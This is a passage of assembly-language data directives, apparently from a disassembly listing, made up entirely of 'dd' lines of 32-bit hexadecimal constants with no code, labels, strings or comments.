		dd 984161D6h, 660D262Ah, 4E048558h, 0B423F12Fh,	3FAFDE56h
		dd 33D35289h, 0BFEE5985h, 7F677CE7h, 0B6ADBF09h, 56AE8B0Eh
		dd 5877027Dh, 0A891EA70h, 0E86CED70h, 0BD9861A3h, 77490267h
		dd 94A7214Dh, 92832B8h,	0FFB588CEh, 0C1C7175Bh,	0D958125Ch
		dd 0C3586F41h, 38016AE1h, 678108B8h, 90ADB771h,	0C40408Fh
		dd 0E3DDE55Dh, 7CF5C8EDh, 0E3F55814h, 13408F6Eh, 49C20F4Ch
		dd 0FAD52812h, 603B9CB8h, 0D6C0BEB4h, 539D80D2h, 999DC24Bh
		dd 880F4101h, 0EDE1BBB3h, 8ADA86D1h, 71A34190h,	9B54691Dh
		dd 0C3D66F40h, 3906C292h, 0DD8FCD40h, 0E6A550h,	0C4A23CA6h
		dd 0CEDB539Eh, 3D5B867Ch, 66459565h, 6CC11679h,	0B44ED1B8h
		dd 0F7ABEFD5h, 133D7AB7h, 0FB2D4163h, 90D8DE4Fh, 1AD9FD62h
		dd 0B4B75AFCh, 4C14A941h, 50E9520Dh, 2C0629AFh,	43628381h
		dd 0A40A634Ch, 18B8FA76h, 438FC8D7h, 0C1CBEECh,	2E4A167Eh
		dd 2D3C5B00h, 0E9362AB8h, 471DD735h, 20F01D9Ah,	40201B45h
		dd 651DB750h, 33F85F8h,	41672C4Fh, 4B922ACDh, 2779CF5Fh
		dd 4C649CBCh, 6DAE7879h, 11EAA145h, 0D0FB7C5h, 0B658E34Ch
		dd 6E688E5Eh, 193DAF90h, 94F84758h, 5D9CB9B5h, 0D1AB38Ch
		dd 0E5037860h, 3CC118E3h, 0DD838CC4h, 0F27ADE61h, 2A1FE86Bh
		dd 5344533Dh, 0D55A9105h, 0FFD5E9A6h, 0B549BDCCh, 9D615F8Fh
		dd 919E0B83h, 0A86ABC2h, 3111CFB3h, 82959FFDh, 0DDF1A17Eh
		dd 13606832h, 0FF433F1Ch, 451C0F9Dh, 0E5C5E24Bh, 20A6907Dh
		dd 0FCC0D62Ch, 77D0863Ah, 93C9E6CCh, 0AE0F55ECh, 1BC80C6h
		dd 0FDD23015h, 74FB7851h, 73967751h, 55E14D02h,	0D62CEEAh
		dd 0FC6813D8h, 5238620Ah, 0B51BE87Ch, 88213DE4h, 0D0F04092h
		dd 700DF4F4h, 0C49CF2Eh, 0A8EEC13Ch, 0FD7DD531h, 880457FBh
		dd 8C5A4341h, 68B0D753h, 9EEDAFCCh, 49448860h, 0A1366F63h
		dd 0B77C90D7h, 475A0191h, 238814B9h, 5271988Ah,	7351C091h
		dd 97287694h, 87A7FB9Bh, 3D6C8417h, 0BA758524h,	0C37DB7C0h
		dd 7E58D2FAh, 0B071FB5Fh, 0E6CE5CB5h, 59BF27F2h, 0FD5460B6h
		dd 39032076h, 6F69F475h, 0DE93B804h, 0AEFCCFFh,	2A620FCBh
		dd 6DF04267h, 203204EDh, 5B0C87A0h, 0A9D2A127h,	0F9DB0DB8h
		dd 0E39137D3h, 2048E932h, 0DA85456Eh, 0F77F22Eh, 1E524269h
		dd 0E046FB0Ah, 9D05D561h, 3F1C15E1h, 0F10E46AEh, 0B58E7093h
		dd 2DB5A118h, 52FCE0CEh, 0F95D21DCh, 7706206Ch,	94005A9Eh
		dd 0AE372A6Ah, 2C4F453Bh, 0BB87C8DFh, 0CA7B5468h, 0E6D6BB77h
		dd 259CA195h, 0E55277D8h, 82D252Eh, 78D2D221h, 16EE81A7h
		dd 9CC33858h, 3DC92C4Dh, 363AD330h, 89873BB5h, 0FCC9F241h
		dd 2536F9B9h, 4E913001h, 8690ACEEh, 27BA3B58h, 0AFE3E370h
		dd 78030EAFh, 25F692F2h, 0F18B31A5h, 0FC57F95Ch, 5D057552h
		dd 79337EF8h, 8CE7E562h, 419C435Ch, 63C678FEh, 5E3DF1D3h
		dd 25185498h, 0D905EBEBh, 0A4D0C461h, 63A3972h,	33970370h
		dd 6F844669h, 0F1B04172h, 0B72D87CEh, 0DBBDACDCh, 7903218Fh
		dd 0F97427A6h, 63C53383h, 152D154Fh, 860D11CBh,	0F9F6DE95h
		dd 0CCE95B50h, 0E72675E8h, 0CC6C3E80h, 0B71DF57h, 6443DEBAh
		dd 11431F09h, 94D9FAC2h, 0A9D2C451h, 76C18A9Dh,	75113D19h
		dd 12AC4CBBh, 7B690E8Fh, 0A2A24C43h, 66E326FFh,	8D81770Bh
		dd 383ADFD1h, 3F0013B4h, 0BB527C7Ch, 0B5772F92h, 7E208665h
		dd 51447D0h, 22B2F6A9h,	0B2D4549Bh, 51576657h, 0E7DC9AA5h
		dd 19FADFAEh, 0A1652E00h, 4448C59h, 9596757Fh, 72E866FEh
		dd 0B4FF708Ch, 0E35B84EDh, 7FC08728h, 0AEC7687Ch, 21164438h
		dd 0F60C4A3Fh, 0F590AB2Fh, 0A684E1B2h, 64A94823h, 80C4662Fh
		dd 0F2B850ACh, 0F3A8EA0Bh, 4426A8E9h, 2E982280h, 9AAE686Eh
		dd 2F5E18E3h, 3ED85F4Eh, 0DE35A8EDh, 81239312h,	4490C95h
		dd 0E2FA9C6Fh, 0C9695E86h, 313CCD66h, 9EA4F88Eh, 9D01EA2Bh
		dd 0A7E62D2h, 0C05F503Eh, 0E68797B3h, 83858C2h,	4F53E81Ah
		dd 8394769Eh, 0DE7AF231h, 660DD1B6h, 6D43ADEh, 0BE57D1DFh
		dd 0BDFBDA1Ah, 0E270B3CBh, 0BACBEE2Fh, 3AC14DBh, 4BA9BB6h
		dd 78D87AC8h, 821EE032h, 72B5107Ch, 3E2748F5h, 5CFD1530h
		dd 1E79BB92h, 0C3AC1C78h, 9BBD2BF4h, 64545C5Dh,	0ABE42F51h
		dd 14FB7B6h, 0AAD85968h, 0CCC2C755h, 5B39A036h,	0CF0272Ah
		dd 42B0B0F7h, 5BA033FBh, 8616536Bh, 355380EDh, 22C5B4B6h
		dd 544C1342h, 0CBCF4684h, 9DF52986h, 0A8F2DA12h, 0B4004D49h
		dd 17C886BAh, 4C2BD719h, 62C52397h, 798B9E8Ch, 0F2A86063h
		dd 256F1C9Eh, 61F9C618h, 54D28310h, 86832442h, 0C307C38Fh
		dd 0CBF2991h, 0D7C534B7h, 0C99E3DC2h, 7466C67Eh, 0F88BAC80h
		dd 39384758h, 5746B08h,	88D3C3FFh, 0E3A59654h, 0A4622252h
		dd 0BA3DF7D8h, 3B1CFE36h, 6E0F75F0h, 5E5AF59Dh,	8C7E2F4h
		dd 0F54508E4h, 56CF4FBAh, 703990A6h, 0B05726B7h, 51D91CB0h
		dd 7894CC68h, 91A0B970h, 0B4511798h, 77EDAC21h,	0C56500D2h
		dd 0D178DBEAh, 4D7C9361h, 0A8A39513h, 2829A9C1h, 0DB6CBFDFh
		dd 0BFD44729h, 1565835Bh, 0E7F7C113h, 57E6BF34h, 8D5B60F8h
		dd 9D97E092h, 6649CB70h, 6D9AAFEh, 49F1B259h, 466A26ECh
		dd 861372B6h, 0F151F03Eh, 64BE908Fh, 0BAAB7442h, 66843B39h
		dd 4FFBB5B6h, 462572B8h, 0C89D41DBh, 44E35841h,	0C60B03B4h
		dd 0D0CC5098h, 527797D6h, 9ECC8A2h, 18FAD0C5h, 48E1E0EEh
		dd 0F608F254h, 79EE82C6h, 56BB9636h, 1C6E8F55h,	82E21D6Ch
		dd 0AC4F338Ch, 30CC4AFEh, 267E752Ah, 2055E6A5h,	10334A80h
		dd 0C13257B6h, 0F025B795h
		dd 732ACE5Ah, 5924DA3Ch, 0D199F0A9h, 106B2F1Fh,	0B3B2B59Dh
		dd 0F1627E5Ch, 8B0A9FACh, 0CD376B23h, 9CC34AA3h, 0FBDEB685h
		dd 81262F9Fh, 0D636755Ah, 0C009CA28h, 0B3B1AA5Fh, 52C6B28Ah
		dd 0A57E793Dh, 7B350E82h, 14B0B763h, 9DBFD746h,	50C3AF0Ah
		dd 9BEE420Eh, 0E9160524h, 0A063DC90h, 0EDDCFD1Fh, 0C168E5EAh
		dd 0C64AFC1Fh, 835F2C36h, 0E924139Ah, 5629124Ch, 0E13858F4h
		dd 0CFE2803Ah, 0EBB4977Ah, 0C9A39952h, 964F0A98h, 0F2AC155Eh
		dd 3886452Dh, 3AF81DF4h, 0C0981770h, 0C09E90C4h, 0E6B0B2CEh
		dd 0F7F04588h, 0CCC59873h, 0C247E8Fh, 269FB427h, 0CDF3C9A3h
		dd 1AEFD861h, 898855C6h, 78E73987h, 5A0B9F89h, 30C3AB0Ah
		dd 0D67AE74Fh, 0BB8766Fh, 0B6009044h, 48A39B73h, 0E4F3FCFDh
		dd 659C1BDCh, 6179437Fh, 5BE977B5h, 0E5031F44h,	29E6F028h
		dd 53D1E892h, 45F25239h, 1426CEABh, 26F8C1D0h, 21C353CBh
		dd 0ABE7647Ah, 0A9B52CEBh, 2394E767h, 0B2B75EDBh, 0A8D8307Bh
		dd 8AD28E25h, 9879DE4Ch, 6F297108h, 0ABDA2175h,	5C54C0C4h
		dd 2192225h, 0ACE6D8DEh, 80A12851h, 688E431Eh, 34A2AC41h
		dd 0FBFB2B27h, 29BF6748h, 6E23F13h, 0BCAEC96Bh,	9924AAB6h
		dd 0C8F7BBC6h, 371B6FE5h, 1E121A76h, 1FA1C1D2h,	4212327Bh
		dd 0FB8145Eh, 694B411Ch, 0C9F63ADDh, 7F253EA9h,	1D1BDEBBh
		dd 51051571h, 0A76CE662h, 2EC2A22Bh, 0C3540B8Dh, 8AA956F5h
		dd 2E4C6773h, 0BAC84223h, 7DCAF281h, 28BD83A7h,	7BC068Ch
		dd 84D1DD1Eh, 0BF6F1514h, 9C279A6h, 0D8B02BFBh,	0C01F7D8Ch
		dd 27FF298Eh, 7FA7DAD7h, 7C160BE5h, 77ED52AAh, 0E2717E66h
		dd 0BC016B7Ah, 0D5D8D798h, 0E09C7A11h, 4712EEDCh, 82A28F13h
		dd 2ABAA014h, 0DBCFEF00h, 25E4C02Ch, 3AE237F5h,	0C6571136h
		dd 68FC447Dh, 65982971h, 64D55A5Fh, 7257BB00h, 0EF14E12Dh
		dd 6D8B1E7Dh, 85CD4B11h, 0C5DE1E76h, 0B1301B52h, 57156E47h
		dd 29C807C8h, 0A5198833h, 111C23C6h, 73D22366h,	0B00361B5h
		dd 6A529044h, 0AE7D9207h, 0ACF3C43Ah, 0EAF930AFh, 0FC5A1840h
		dd 0DA2BA5F3h, 89B14DF5h, 0D2150928h, 2410580Eh, 15888137h
		dd 0FB51701Ch, 0C2C3E0FFh, 355C3CFDh, 587259E3h, 34C1E50Eh
		dd 0CA7F6F43h, 0A3C8AA20h, 2F646DF4h, 9654DD77h, 239A5B67h
		dd 52B57AB1h, 779C0004h, 179F47A3h, 2F7B7C34h, 2D8A3E9h
		dd 5078B28h, 0A37BBEA9h, 8750A651h, 3BB281BDh, 1C310EA3h
		dd 87F1112Ch, 0ED2E7FE7h, 0DC568EB7h, 0EECAD9C4h, 6B4B2D3h
		dd 0E5D54418h, 0DE99FDCCh, 402E9FCAh, 931B50F2h, 0EA8201B2h
		dd 60D3E990h, 87EC455Bh, 0C758D6D1h, 0F6917E81h, 1B57490Dh
		dd 68FC0AEBh, 391D2154h, 32C8611Bh, 79DB960Eh, 9E309FC0h
		dd 4325EBC6h, 0A76B3900h, 2AC25A96h, 7C02C0D0h,	0AD1A422Eh
		dd 0F7DF380Eh, 55DBE881h, 0CC38B84Ch, 0B64AB533h, 1D1FD4B9h
		dd 0B0C50F3Eh, 93E7FCEh, 0EBFC57A3h, 7E41EFB2h,	8118F71Dh
		dd 0D7BAF7AFh, 40220C0Dh, 0FB1AB4C5h, 0B47CAB29h, 361313A8h
		dd 0B6A2DBF8h, 34EF7745h, 0CDB8B5E6h, 9D59A040h, 2B41E10Ah
		dd 80E7A524h, 0A71A0ADAh, 0CFE9D2C3h, 4EFD01EFh, 297E3726h
		dd 94A0D404h, 21403B0Bh, 85212E06h, 0AED8391Dh,	231AD923h
		dd 5C39E1EBh, 0EC81F8E2h, 0EFBD5413h, 0DDD9CB2Eh, 5FF320C6h
		dd 0C6342531h, 8B40D85h, 0E832BFE5h, 571DA90Fh,	1D05113Fh
		dd 2EAC9AE7h, 9784740h,	0BA9D0C07h, 1C70DB4h, 0F22322Bh
		dd 6C7AA13Ah, 0DC18B998h, 0AE174487h, 3B9CE74h,	0B5F40E7Dh
		dd 0A315D82Ch, 2AB79020h, 0E02CBB81h, 99581C36h, 1C543D35h
		dd 13534A5h, 0F738141h,	85539356h, 0BCB40447h, 22056B04h
		dd 0C93E727Ah, 0D4943A2Dh, 9338A7BCh, 30D2307Eh, 0B056F10Ah
		dd 12E346CBh, 970F6585h, 57DBF303h, 0CC4F7CD1h,	459F1A5Eh
		dd 1ACE77E1h, 750977A6h, 59E6ADE0h, 0BC0C3DA0h,	37526C53h
		dd 0EC392B2Bh, 0B0CB965h, 9CD3477Bh, 1412FE66h,	8E50123Ah
		dd 455BED97h, 64EA6C71h, 2843AE3Ah, 0DF72B89h, 503EF5B6h
		dd 0D119DBDh, 595EFDF5h, 0BA792206h, 2ADC672Bh,	2022CFA3h
		dd 76F17ED5h, 6126556h,	506EA49Ah, 5461B61Dh, 0C8F9003Eh
		dd 0E28F00AFh, 0E6CC790Fh, 65B2A549h, 0B910ED88h, 2877A9C8h
		dd 516B70F2h, 0C57A3609h, 0C87F330Fh, 48BAFFB7h, 8285B93h
		dd 0B6E55651h, 0ED32D2E4h, 1AD1B7F8h, 61141600h, 99834178h
		dd 578E4CBFh, 0E8657A9Dh, 0E0350A92h, 2610887h,	1C0E229Dh
		dd 6187422Fh, 0B12F7471h, 0C3CBD91Eh, 48BD3393h, 0AF14430h
		dd 0AE94A056h, 90680DF6h, 29116FFCh, 8FEFF082h,	4A151BC6h
		dd 0B4D9E416h, 0DDF5E8F8h, 1E91BB06h, 2F54E287h, 57367500h
		dd 0D0A9EE1Ch, 7A66D87Eh, 7D5B3F60h, 0C1310CC1h, 36211C47h
		dd 3BEAC0C6h, 0D7241B84h, 17CDA6CCh, 693E4404h,	8508A28Eh
		dd 0FA7F178Eh, 0B10842D6h, 5669655Eh, 89168E4Bh, 23D27F0h
		dd 3E904DC8h, 0BBD2740h, 0CCEA22A8h, 54E44D1Bh,	1E059C4Dh
		dd 8DA23AD0h, 161A823Bh, 63C6BCCDh, 0BE475698h,	0F04AE0EBh
		dd 0D165F2F8h, 0E78E889Dh, 0E8937068h, 0B528E91Bh, 13D564F7h
		dd 0BAFE12E1h, 0E23E4295h, 541E5307h, 830086DCh, 0CCCC1492h
		dd 0CE312651h, 0D0DB658Ah, 4DEEBFA4h, 0FD6B1C47h, 0E63A8E07h
		dd 32F4EFCCh, 6996B7B9h, 0A1D7B7A1h, 3456BB22h,	0B6D06DADh
		dd 0D13917C2h, 0D2BAD6E0h, 97B35328h, 684AD7A3h, 0DFB5D5EEh
		dd 0CC5457BDh, 2140D1B6h, 0B26E6FECh, 0B2EC3DB8h, 59E6B69Fh
		dd 0EA3E1D16h, 8E69150Bh, 51DB19F1h, 97D6EDD5h,	55F56E93h
		dd 0B3C7BA42h, 0AEC6BDEAh, 991AAD68h, 0D38D4391h, 0EF27BFDh
		dd 0FCBA5DC1h, 0BED1EF8Fh, 3A0C4559h, 90447304h, 0B35D384h
		dd 0D63D90E6h, 0FD8D1052h, 0D160752Fh, 41755FE6h, 493C33DAh
		dd 446854D0h, 0B1D1FAB4h, 1A58B137h, 0D27F672Eh, 0E7F70418h
		dd 71685DB1h, 0BE59E439h, 1EF4FB59h, 1561E591h,	0D6D550CDh
		dd 895B3C7Ah, 0F03709D7h, 3E549F3Ah, 245ABF4Ah,	99CA50D4h
		dd 7C5AD466h, 0A6775D13h, 2D71300h, 7574083h, 9855243Ch
		dd 3A5A10F8h, 0FBA327EDh, 7408EB1Ch, 3CEB13F2h,	97F40BA4h
		dd 0FD88F5FEh, 0F32D1AFh, 18A521F7h, 1A67A913h,	729963D7h
		dd 6B644CE7h, 6B611884h, 627EF859h, 5E15FA86h, 0F5424970h
		dd 0FC35A829h, 0A6DC8346h, 73F5CC9Fh, 94F44764h, 77CB3AA1h
		dd 0EC6A29D1h, 2C8F6C0Eh, 546668B2h, 82285604h,	0CB96BCAAh
		dd 14806A43h, 4CCF40CAh, 0B76F54F5h, 3A641674h,	0E02A8F2Fh
		dd 0DD7D2E48h, 308C85F7h, 0BCE8C178h, 20FACC34h, 0ACEBD3FAh
		dd 0AD5F3E92h, 68FD5A8h, 6C48C5E8h, 6670C2D9h, 0C81E2A03h
		dd 586582AEh, 0D77A8028h, 4DFCA353h, 3DD8D5F9h,	47C7967h
		dd 4DA6F95Bh, 0D3E2E5DFh, 0E635EE29h, 8FF787F2h, 0BB50FB83h
		dd 16AB17D8h, 94A9389Fh, 0F21F2DCFh, 0E30A9EFEh, 7D5A16B6h
		dd 37D60B7Ch, 4AF40BD2h, 0D83325CDh, 658AFDDFh,	0A82D64EAh
		dd 5177CC10h, 0CCFDDCBh, 8A188148h, 0E1BD02C4h,	6C2C6A80h
		dd 1CD0C18Eh, 0EEB54C7Dh, 0A88CF0F4h, 373D8540h, 0ADF88D88h
		dd 53BDC63Fh, 5050CEF1h, 48C635CFh, 8E1A531Fh, 0E1615962h
		dd 36F48AFAh, 0F273A782h, 0FF1C32DCh, 0D086F285h, 16591F75h
		dd 4BC6A292h, 5857095Ah, 316052B1h, 2B180B0h, 48152DCDh
		dd 2F52BB3Fh, 0E65E80D3h, 1EAF7B54h, 5243940Fh,	2CC69E76h
		dd 8279D17Ah, 7C8FA637h
		dd 345EB5A1h, 6151C5B1h, 5EA71398h, 3495A90Ch, 6E268BB3h
		dd 29336BC3h, 2A839E1Ch, 0D14E6CE2h, 498D0720h,	0A1D8D3B6h
		dd 0C21ADB4Ch, 0EC5AD9C3h, 765353F6h, 0B1E17D9h, 0EDA14338h
		dd 5C280CC9h, 8E6AD653h, 962C46C7h, 5484883Ch, 779BBE4Fh
		dd 8BA8A72Bh, 165F190Fh, 2868AC2h, 0BA0ADA03h, 8A266A5Bh
		dd 0A7F7C066h, 63990588h, 10917209h, 0C30DAC91h, 0B9D1ACD0h
		dd 0C214088Ah, 0EBEBA60Bh, 1CB27A09h, 4D821915h, 0D18E9F74h
		dd 0E461FBCCh, 78C14D39h, 67DC5EC6h, 0FE903642h, 847B7B86h
		dd 0EDCE41C7h, 0D6A56343h, 3E05D092h, 0A9C4096Ch, 0DB094B06h
		dd 268FD0Ah, 7B7232B5h,	29F6D138h, 9139E138h, 0D73BE1BDh
		dd 0D3A8B3E2h, 32FC3A04h, 0CAAA910Ch, 36890474h, 0E14C6784h
		dd 0D45D97Eh, 75EC1D4Eh, 5B8DCFC4h, 0A4AB82BFh,	11A7CBA4h
		dd 1E13127Dh, 31D84CABh, 0FE88D360h, 0A1189872h, 0CCEA078Dh
		dd 81D1C5B0h, 0ECA55ACCh, 0AA606CC0h, 4584E538h, 0EC72849h
		dd 0DF549944h, 0DF020527h, 8AB954B3h, 0A675E675h, 72F34482h
		dd 228A4D04h, 0E9C8CBAFh, 0EF556A9Dh, 18E36CA8h, 7A3D6F65h
		dd 33C12A38h, 114FED07h, 476BD1CFh, 4215CA41h, 0BCD2E362h
		dd 27DB7A73h, 0D95091FFh, 2BB596FEh, 4D1B15EFh,	0FDEF83D4h
		dd 442AED7Dh, 2CB3B637h, 0C644E5Ch, 1AFBD5Eh, 2A182D82h
		dd 8F47C4A6h, 2B8FE0DDh, 6DBCFB2Fh, 0BE3AB1C3h,	7739CBF4h
		dd 11AE1B6Dh, 1B9CFA82h, 3F25935Fh, 0F51BFB30h,	7C00CDD9h
		dd 74544496h, 0D685D8EEh, 0C674A442h, 0BF91983Fh, 332E3D5Eh
		dd 8FC3BB17h, 1363E97Eh, 7EB6A2F2h, 285C6B2Bh, 0BF2918Fh
		dd 438F8E8Fh, 3837CC68h, 2D3CFE95h, 0E527AFF5h,	0AD7CA04h
		dd 6C93BCFBh, 5A4F161Fh, 0EDABA460h, 0E5A41B29h, 0FAEDA708h
		dd 1FE55F5Dh, 0E724B33Dh, 0D1C4A77Ch, 0E6150898h, 7FD90C0Eh
		dd 13C04518h, 814D85BBh, 73C0C0B2h, 0BF09EA4h, 640B6A34h
		dd 0CC8C9B9h, 99B343E0h, 0D6C02449h, 0C5C07EADh, 0D44EFB76h
		dd 0CDA062B4h, 28592B84h, 2241471Eh, 0CF6F764Dh, 0FB52B86Dh
		dd 932BA293h, 79B31B92h, 7AAD65CCh, 0C618B950h,	35D11F05h
		dd 27C71715h, 0DC99C3A6h, 357C8C4Ch, 96EA20E1h,	0AD6AE62Eh
		dd 343A4C6Ah, 7C740AD0h, 0B015E91Fh, 0ED251A60h, 3762E31Eh
		dd 3AEAD07Bh, 7A7FABF6h, 0BBEA731Ah, 0AC69A920h, 153D2903h
		dd 0E8E05E9Eh, 0DF779933h, 72B7FADBh, 0D9FFB8EFh, 75E2E46Ch
		dd 0A589974Eh, 0B8F8D344h, 0ACC59963h, 9B3EE1B7h, 8187E978h
		dd 0A1008CDCh, 0ED7CDFA4h, 90AD04E6h, 0C00F0AA6h, 39FC4380h
		dd 3C6699FDh, 5EF94AEh,	14A5EFE6h, 84E6C783h, 233DF65Bh
		dd 76EF1833h, 63531623h, 0BC741E15h, 0EF8A5894h, 9680D150h
		dd 4C8BFEEFh, 0C0BE7FD0h, 2EAA2270h, 45510CDEh,	34AAEED4h
		dd 60DF2B3Dh, 443A42D6h, 59F2F040h, 0C3CB0062h,	688DA9B6h
		dd 0B9A8E227h, 2E771A7Bh, 9F00797Eh, 0B593FEDFh, 4BD91D73h
		dd 8FBCF06Eh, 12DA234Ch, 1F1A1C36h, 8779B65h, 6F3479Fh
		dd 0DD426525h, 12A13934h, 393CD2Dh, 0AF20AEDDh,	84DA1DAEh
		dd 4E80E86Ah, 38197726h, 2346FAC5h, 7FC50FA9h, 857A1787h
		dd 3A645B34h, 85BC2123h, 68EC8C19h, 3EDA7BEBh, 0DE1B6022h
		dd 0E68F670Dh, 0D13976FDh, 35931B99h, 11EF04BCh, 45DCE4Ah
		dd 4EC21DE6h, 1DE2F901h, 390318BAh, 0EC039FBBh,	9EF7F8E4h
		dd 6DF75E64h, 716AFEB9h, 0FBA1976h, 688B8C5Ah, 2D2A0F20h
		dd 433D3A35h, 65146EC6h, 0ABA2BD88h, 1E972CD4h,	0A4EF62EFh
		dd 772A771Fh, 90D60E16h, 2B86CD41h, 43253239h, 0E63C584Bh
		dd 0DD114A6Ch, 0C0F2E320h, 489AA765h, 0BC1B8390h, 1AC66164h
		dd 0EEA123FCh, 0D825E787h, 9E7B9688h, 8F70CB4Dh, 27202087h
		dd 52985060h, 0AC9A0FEAh, 0CD3209A1h, 3BDE5B62h, 0B1640F3Ch
		dd 37A7691Ch, 5F8F8E7Bh, 714AA897h, 0A41319A2h,	0CBBACC38h
		dd 149446Fh, 9F917171h,	7F36CD8Ch, 21FA8BD6h, 0D4653921h
		dd 4C187185h, 0AD14F0E8h, 136A00DCh, 0A2D0048Fh, 276CF8FDh
		dd 7A7F55A1h, 3A99F306h, 0CD8C8413h, 5C780EFFh,	563DB457h
		dd 8920F320h, 0D8300010h, 6022D56Ah, 0D66B709h,	95F9C243h
		dd 74579E6Dh, 506D63A4h, 7473ACB4h, 0D5634C35h,	0D683E64Ch
		dd 0DE73BFD7h, 0FB990B43h, 33752AB0h, 76A881C0h, 0CDE2A20h
		dd 0EA6B13Dh, 6832768Dh, 0D03E521Dh, 6D587DD0h,	6729BA1Dh
		dd 8841BCE7h, 4D020FFFh, 41EA2CD3h, 8E6F1849h, 4B48EA56h
		dd 1902D0F8h, 38B58DF8h, 68F1C3F7h, 0DEA8435Ch,	4B84167Dh
		dd 1EC4A3E1h, 2B9D3250h, 89C7CC2Fh, 19B708FDh, 50BB65DFh
		dd 7D2B249Ch, 0A26488A8h, 6B05A67Dh, 0F5947C6Dh, 2C0AF392h
		dd 0EBDC03F1h, 69D76A18h, 0AE9D4852h, 61E8EC56h, 3E1259B3h
		dd 0FF6FB028h, 14840114h, 8CACB40h, 48FE60AFh, 831AD5E0h
		dd 0BAB33736h, 0A2FF0AF5h, 0AFFADC83h, 0FCF6845Ch, 40CA12BEh
		dd 0EE6DCAF3h, 398DFCCBh, 0BFAF43h, 0FE755AA6h,	8AC9D0D9h
		dd 1E667614h, 0AF34646h, 96D5E0AFh, 7E0CFE5Ch, 99D591C6h
		dd 85C1F95Dh, 6E836731h, 83A5284Bh, 362FFBE5h, 5F6FE98Bh
		dd 7A651F28h, 6BFF896Bh, 0A7C2288Eh, 2B087A91h,	501595DBh
		dd 0F747E876h, 0A6FCBED9h, 5EE2A563h, 5C506232h, 899C1E7Eh
		dd 2CAB166Bh, 0C7647B9Ch, 2B4DC34Ch, 4EF24920h,	0D40778DBh
		dd 0A09152D1h, 0F4B885h, 76BFEE21h, 0BC093FF5h,	0EF6C403Eh
		dd 841C2BA2h, 0EC2CA301h, 0D86C1CA8h, 6C8C5469h, 0E4B6BD9Ah
		dd 869F1FD6h, 0E0EDCBCFh, 0B4E3B974h, 817CC15Fh, 109A834Eh
		dd 8C3A31A9h, 3EC02DF3h, 0B877EA85h, 7AAEE9ADh,	1D2EB2F4h
		dd 0E22026Dh, 8C4E3F89h, 81A44D40h, 0CAB27FDEh,	853E4A2Eh
		dd 96E9F41Eh, 733F840Bh, 0C70F6625h, 227D1390h,	0FDF94D2Dh
		dd 0F58F84B2h, 69B4E9DDh, 0EFAE3E25h, 123A2BA5h, 2029EF7Ah
		dd 4F77CC05h, 6F67BF9Bh, 0A8272413h, 0F8A80h, 0A8F445DDh
		dd 23386D3Ch, 91A2749Bh, 8CE3A0E7h, 945CDAE7h, 0E49DB46Fh
		dd 949AA4Ah, 4FFA8089h,	0E9D885F7h, 4529B5E2h, 4ABEBCC4h
		dd 522F35F4h, 708C0EDAh, 20DFFCE7h, 1782334Fh, 9DAFF596h
		dd 0B893AB42h, 0DD19FFA0h, 0BD0A51DCh, 77005D0Dh, 833F62ACh
		dd 0C0A95E75h, 7C4AAD69h, 0F1A09Bh, 0D5B8BBE8h,	7DA8376Ah
		dd 64AB8087h, 0D8F7FBE3h, 0ECA375D0h, 7D0D58E1h, 253F76B3h
		dd 0AB38962Ch, 0BFDA06C6h, 0C66E4EE3h, 0C43D0B8Eh, 0A55BA16Ah
		dd 0FCCD1681h, 0C471BD9h, 610D0158h, 610E7E65h,	5FFC19C9h
		dd 0A3C2C5EFh, 41FCA6E0h, 31A25D1Dh, 0BCAD9E1Bh, 0D61638FBh
		dd 98AC5139h, 1C884463h, 83518938h, 993907FBh, 0FEC6E81Dh
		dd 0D412428Bh, 31D7F76Ah, 2CCB76B7h, 132DFA9Eh,	0C18067EDh
		dd 21B78629h, 0F4E63BBBh, 4D0A27BFh, 3655D5AAh,	8547E98Bh
		dd 0E694B9ADh, 30DFF74Bh, 0B4BB0BBAh, 25FFFD8Ah, 33983B5Dh
		dd 2D1E7F60h, 4FC0262Ah, 9D2203EBh, 0CE0C54F8h,	850BC66Dh
		dd 1F845130h, 36292102h, 800404D5h, 687E5DAAh, 209F9C13h
		dd 246C20DDh, 24D727F6h, 0E6453A5Ah, 0DAD52FA0h, 571D6536h
		dd 72B9C7E4h, 0FF724780h, 1688EA61h, 71D5C2B8h,	0FE18E2ECh
		dd 90DFD268h, 252625D9h, 0A6229CC4h, 80EB9923h,	0F1412A92h
		dd 0F43A6C78h, 646A65CDh, 168B4985h, 9A6332F5h,	0FC1DFD66h
		dd 44B4DCFFh, 6D22C0ADh, 0E46A8C4Ch, 7E8BA7F8h,	479DB76Bh
		dd 35498EA0h, 43867ACh
		dd 1D266B10h, 0C3848158h, 0EAFB74FBh, 1452E086h, 58DA0B09h
		dd 0A1E800D6h, 0D488ECB8h, 0BF8D98E9h, 25F73B03h, 7E848FCAh
		dd 0E6B082B3h, 0ABB9A51Bh, 73016E0Dh, 58F461Dh,	696504Dh
		dd 0D1AC225Fh, 0EAB72B83h, 0DF2391F5h, 343A81DEh, 0CB3E8C40h
		dd 65D76D82h, 0C7155FDBh, 33CE37D3h, 18DC65h, 43B6A17Eh
		dd 6BF9A411h, 365C7D8Ah, 0D0AEF2Bh, 7D22D05Ah, 0CAA02C7Ch
		dd 0C0BA7766h, 0D52A5C6Bh, 221D3A37h, 0BDF9DC41h, 0F6884E4Eh
		dd 0C5E69BB4h, 0EF99665h, 5A49BB9Ch, 67C64449h,	44DF9B10h
		dd 0BF07E923h, 0F7F52B82h, 0A322F70Eh, 15B56126h, 0AB9EFE73h
		dd 0DFFDAC3h, 4779809Dh, 493A9A73h, 4E759841h, 91B6742Ch
		dd 969D8C32h, 0C73000A6h, 0C8D128DDh, 0CC789311h, 0B921028Eh
		dd 30DBA5D9h, 849BBE12h, 4D19F9Fh, 4012DB0Bh, 57E35A0Bh
		dd 1ABC6DACh, 0D5344993h, 0B3F4F42h, 3BD78F78h,	0A41748D0h
		dd 5A6ED68Ch, 0A381A5B0h, 0C0178499h, 7428D926h, 945192C8h
		dd 0BCB19E1h, 0A83B6032h, 0A70BCCB0h, 0CB4C28E9h, 0F970318Dh
		dd 44880B8Fh, 968491Bh,	0E38FA60Eh, 426B4788h, 0E9C70CAEh
		dd 46DD1829h, 0AF72FFAAh, 6C50A44h, 8142452Eh, 391E497Ah
		dd 0ABBA5AD5h, 42ECC77Ah, 6F39BFA1h, 0A58E6703h, 0BE1C9676h
		dd 0E78026C6h, 26E0A7E5h, 9E42C924h, 0A1AE570Bh, 63C65078h
		dd 0AB602992h, 92C7D327h, 6975E3A4h, 1C5AF842h,	0F68B0E3Dh
		dd 0CEE2EFFh, 17FF707Ah, 1AD60540h, 99D1424Eh, 0F18B9323h
